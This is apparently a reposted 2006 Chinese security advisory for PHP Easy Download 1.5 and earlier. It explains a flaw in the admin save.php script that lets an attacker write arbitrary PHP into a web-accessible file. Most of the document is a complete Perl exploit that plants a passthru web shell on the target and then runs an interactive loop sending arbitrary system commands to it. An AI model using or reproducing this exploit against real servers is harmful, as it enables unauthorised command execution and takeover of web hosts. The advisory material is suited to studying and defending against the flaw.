发布日期：2006-11-20
更新日期：2006-11-21

受影响系统：

Ironclad PHP Easy Download <= 1.5

描述：

---

BUGTRAQ  ID: 21179

PHP Easy Download是一款方便易用的下载脚本。

PHP Easy Download在处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞以Web进程权限在服务器上执行任意命令。

PHP Easy Download的file_info/admin/save.php脚本没有正确验证description、moreinfo、accesses、date和filename参数的输入，允许攻击者通过filename加上字符串“.0”写入Web可访问的文件，导致执行任意PHP代码。漏洞代码如下：

file_info/admin/save.php， 14-36行：

-> 14: $filename = $_POST["filename"];
-> 15: $description = $_POST["description"];
-> 20: $path = "../descriptions/$filename.0";
-> 30: $content = "$accesses|$description|$moreinfo|$date";
-> 34: $newfile = fopen($path,"w");
-> 35: fwrite($newfile, $content);
-> 36: fclose($newfile);

<*来源：nuffsaid （nuffsaid@newbslove.us）
  
  链接：http://secunia.com/advisories/23002/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
# +-------------------------------------------------------------------------------------------
# + PHP Easy Download <= 1.5 Remote Code Execution Vulnerability
# +-------------------------------------------------------------------------------------------
# + Affected Software .: PHP Easy Download <= 1.5
# + Vendor ............: http://www.ironclad.net/
# + Download ..........: http://ironclad.net/scripts/PHP_Easy_Download.zip
# + Description .......: "PHP Easy Download is an easy to use and convenient download script"
# + Dork ..............: "PHP Easy Downloader"
# + Class .............: Remote Code Execution
# + Risk ..............: High (Remote Code Execution)
# + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
# +-------------------------------------------------------------------------------------------
# + Details:
# + PHP Easy Download by default installation doesn't prevent any of the files in the
# + file_info/admin directory from being accessed by a client. The file_info/admin/save.php
# + file takes input passed to the script by $_POST and writes it to $_POST["filename"].0
# + unsanatized in the file_info/admin/descriptions directory.
# +
# + Vulnerable Code:
# + file_info/admin/save.php, line(s) 14-36:
# + -> 14: $filename = $_POST["filename"];
# + -> 15: $description = $_POST["description"];
# + -> 20: $path = "../descriptions/$filename.0";
# + -> 30: $content = "$accesses|$description|$moreinfo|$date";
# + -> 34: $newfile = fopen($path,"w");
# + -> 35: fwrite($newfile, $content);
# + -> 36: fclose($newfile);
# +
# + Solution:
# + Prevent users from accessing any of the files in the file_info directory (htaccess).
# +-------------------------------------------------------------------------------------------

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$code = "<?php passthru(\$_GET[cmd]); ?>";

main();

sub usage
{
    print "\nPHP Easy Download <= 1.5 Remote Code Execution Exploit\n";
    print "-h, --host\ttarget host\t(example.com)\n";
    print "-f, --file\tshell file\t(shell.php)\n";
    print "-d, --dir\tinstall dir\t(/file_info)\n";
    exit;
}

sub main
{
    GetOptions ('h|host=s' => \$host,'f|file=s' => \$file,'d|dir=s' => \$dir);
    usage() unless $host;
    
    $dir = "/file_info" unless $dir;
    $file = "shell.php" unless $file;
    uri_escape($cmd);
    $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
     or die "\nconnect() failed.\n";
    
    print "\nconnected to ".$host.", sending data.\n";
    $sendurl = "description=0&moreinfo=".$code."&accesses=0&filename=".$file."&date=&B1=Submit";
    $sendlen = length($sendurl);
    print $sock "POST ".$dir."/admin/save.php HTTP/1.1\n";
    print $sock "Host: ".$host."\n";
    print $sock "Connection: close\n";
    print $sock "Content-Type: application/x-www-form-urlencoded\n";
    print $sock "Content-Length: ".$sendlen."\n\n";
    print $sock $sendurl;
    print "attempted to create php shell, server response:\n\n";
    while($recvd = <$sock>)
    {
        print " ".$recvd."";
    }
    
    while($cmd !~ "~quit")
    {
        print "\n\n-> ";
        $cmd = <STDIN>;
        if ($cmd !~ "~quit")
        {
          $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
           or die "connect() failed.\n";
          $sendurl = uri_escape($cmd);
          
          print $sock "GET ".$dir."/descriptions/".$file.".0?cmd=".$sendurl." HTTP/1.1\n";
          print $sock "Host: ".$host."\n";
          print $sock "Accept: */*\n";
          print $sock "Connection: close\n\n";
          print "\n";
          
          while($recvd = <$sock>)
          {
              print $recvd;
          }
        }
    }
    exit;
}

# milw0rm.com [2006-11-18]

建议：

---

厂商补丁：

Ironclad
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://ironclad.net/scripts/PHP_Easy_Download.zip

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